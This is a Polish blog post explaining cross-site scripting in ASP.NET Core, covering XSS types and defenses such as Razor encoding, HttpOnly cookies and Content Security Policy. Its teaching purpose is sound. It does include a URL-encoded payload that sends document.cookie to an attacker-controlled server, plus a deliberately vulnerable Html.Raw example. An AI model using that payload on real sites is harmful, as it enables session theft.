ASP.NET Core vs ataki typu XSS (OWASP Top 10 #3)

Użycie dowolnego tekstowego formatu reprezentacji danych niesie ze sobą pewne problemy.

Spróbujmy zbudować plik CSV z listą filmów nie wiedząc, że jednym z nich jest Dobry, Zły i Brzydki.

Spróbujmy zbudować plik JSON z tekstami piosenek, nie wiedząc, że jedną z nich jest Piano Man, gdzie jedna ze zwrotek zaczyna się słowami He says “Bill, I believe this is killing me”

Spróbujmy zbudować plik XML z listą wiadomości SMS, nie wiedząć, że jedna z wiadomości to :>.

Problem ten sam – znaki specjalne i ich kodowanie.

Spróbujmy zbudować dokument HTML na podstawie otwartego formularza kontaktowego, nie wiedząc, że jeden z użytkowników jako swój login podał kod JavaScript osadzony w tagach script.

Efekt w odróżnieniu od pierwszych trzech przypadków będzie nieco inny. Nie uzyskamy niepoprawnego dokumentu, wręcz przeciwnie. Kod taki po prostu się wykona.

Cross Site Scripting

Sam mechanizm ataku koncepcyjnie jest całkiem prosty:

  • Atakujący wprowadza w jednym z wejść do aplikacji fragment JavaScriptu
  • Serwer przetwarza żądanie renderując stronę z odpowiedzią
  • Po wejściu na stronę, JavaScript się wykonuje

Najczęściej mamy do czynienia z dwoma rodzajami XSS:

  • reflected – serwer przyjmuje dane i zwraca stronę z wstawionym kodem JS. Oczywiście atakujący w takiej sytuacji “zaatakuje” samego siebie ;-). Ale nie tylko. Jeśli wejściem jest parametr URL, to może linki z kodem JS w parametrze podsyłać innym użytkownikom. Przykładem reflected XSS może być wyszukiwarka, która wyświetla wpisaną frazę, zaś sama fraza leci do strony właśnie jako parametr URL
  • stored – złośliwy kod zapisze się w naszej bazie danych i wykona każdemu użytkownikowi, który wyświetli zasób. Przykładowo atakujący preparuje żądanie HTTP ustawiając w nagłówku Referer kod JS w tagach script. Aplikacja zapisuje to jako incydent w bazie danych i wyświetla w UI administratora

Jest również trzecia, nieco inna grupa XSS: DOM based XSS. Są to wszystkie sytuacje, w których atakujący może manipulować parametrami takich metod JS jak eval, document.write itd.

Dlaczego JavaScript może być groźny dla użytkownika ?

O tym, dlaczego jest groźny dla programisty pisałem w zeszłym roku tutaj :). Z kolei w atakach XSS jest kilka ciekawych możliwości. Załóżmy, że mamy reflected XSS przez parametr URL. Możemy tam na przykład wstawić kod, który pobierze ciastko (sesja serwerowa użytkownika) i wyśle je na serwer, który kontrolujemy:

var+i=new+Image;+i.src=%27http://mojzlyserwer/cookies?%27%2bdocument.cookie;

Oczywiście całość obłożona powinna być tagiem script, ale wordpress mi go wycina (i dobrze). Możemy również, mając XSS wyrenderować fałszywy content na stronie, np. formularz logowania, który wysyła login i hasło do zupełnie innego serwera niż spodziewałby się użytkownik. Możemy wstawiać treści na stronę (spam, reklamy, treści phishingowe). Możliwości jest całkiem sporo.

Encoding i inne metody

Oczywiście rozwiązaniem wszystkich wspomnianych tutaj problemów jest skorzystanie z poprawnego enkodera. Budujemy JSON-a ? Nie sklejajmy go ręcznie. Podobnie z XML oraz HTML. Dzięki temu niewygodne dla naszego formatu znaki zostaną zamienione na coś neutralnego dla parsera.

Na szczęście jeśli korzystamy z Razora w ASP.NET, escape’owanie serwer wykonuje za nas. Wszędzie tam, gdzie odwołujemy się do danych przez znak małpy możemy być spokojni, niezależnie od tego, czy wstawiamy dane z @Model czy z ViewData. Jest oczywiście jeden wyjątek, którym możemy sobie na własne życzenie zrobić XSS w aplikacji:

<h3>@ViewData["Message"]</h3> <!--escape'uje-->
<h3>@Html.Raw(ViewData["Message"])</h3> <!--XSS-->

Aczkolwiek niekoniecznie to przejdzie na Chrome.

aaaaa

Na innych przeglądarkach jednak kod się wykona. Jeśli już musimy wstawiać HTML w ten sposób, to zwalidujmy wcześniej, co zawiera ten parametr i określmy listę dozwolonych tagów (whitelisting).

Kolejną metodą pozwalającą łagodzić skutki XSS jest flaga HttpOnly na ciasteczkach sesyjnych. Po jej użyciu nie będzie można pobrać wartości tego ciastka z poziomu JavaScript. ASP.NET Core ma ją domyślnie włączoną, więc tutaj również nie musimy się martwić.

ddd

Content Security Policy

Inną bardzo ciekawą metodą złagodzenia skutków XSS jest CSP. Dodajemy do odpowiedzi serwera nagłówki, które mają wprost podpowiedzieć przeglądarce, z jakich zewnętrznych domen może pobierać zasoby. Skonfigurować CSP możemy nawet w pliku Startup aplikacji ASP.NET Core.

app.Use(async (ctx, next) =>
{
    ctx.Response.Headers.Add("Content-Security-Policy",
                             "default-src 'self';");
    await next();
});

Zachęcam do zgłębienia tego tematu. Jedną z ciekawszych możliwości jest parametr reportUri, a więc możemy podać adres URL pod który przeglądarka wyśle JSON-a z informacją o nariuszeniu reguł CSP.

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s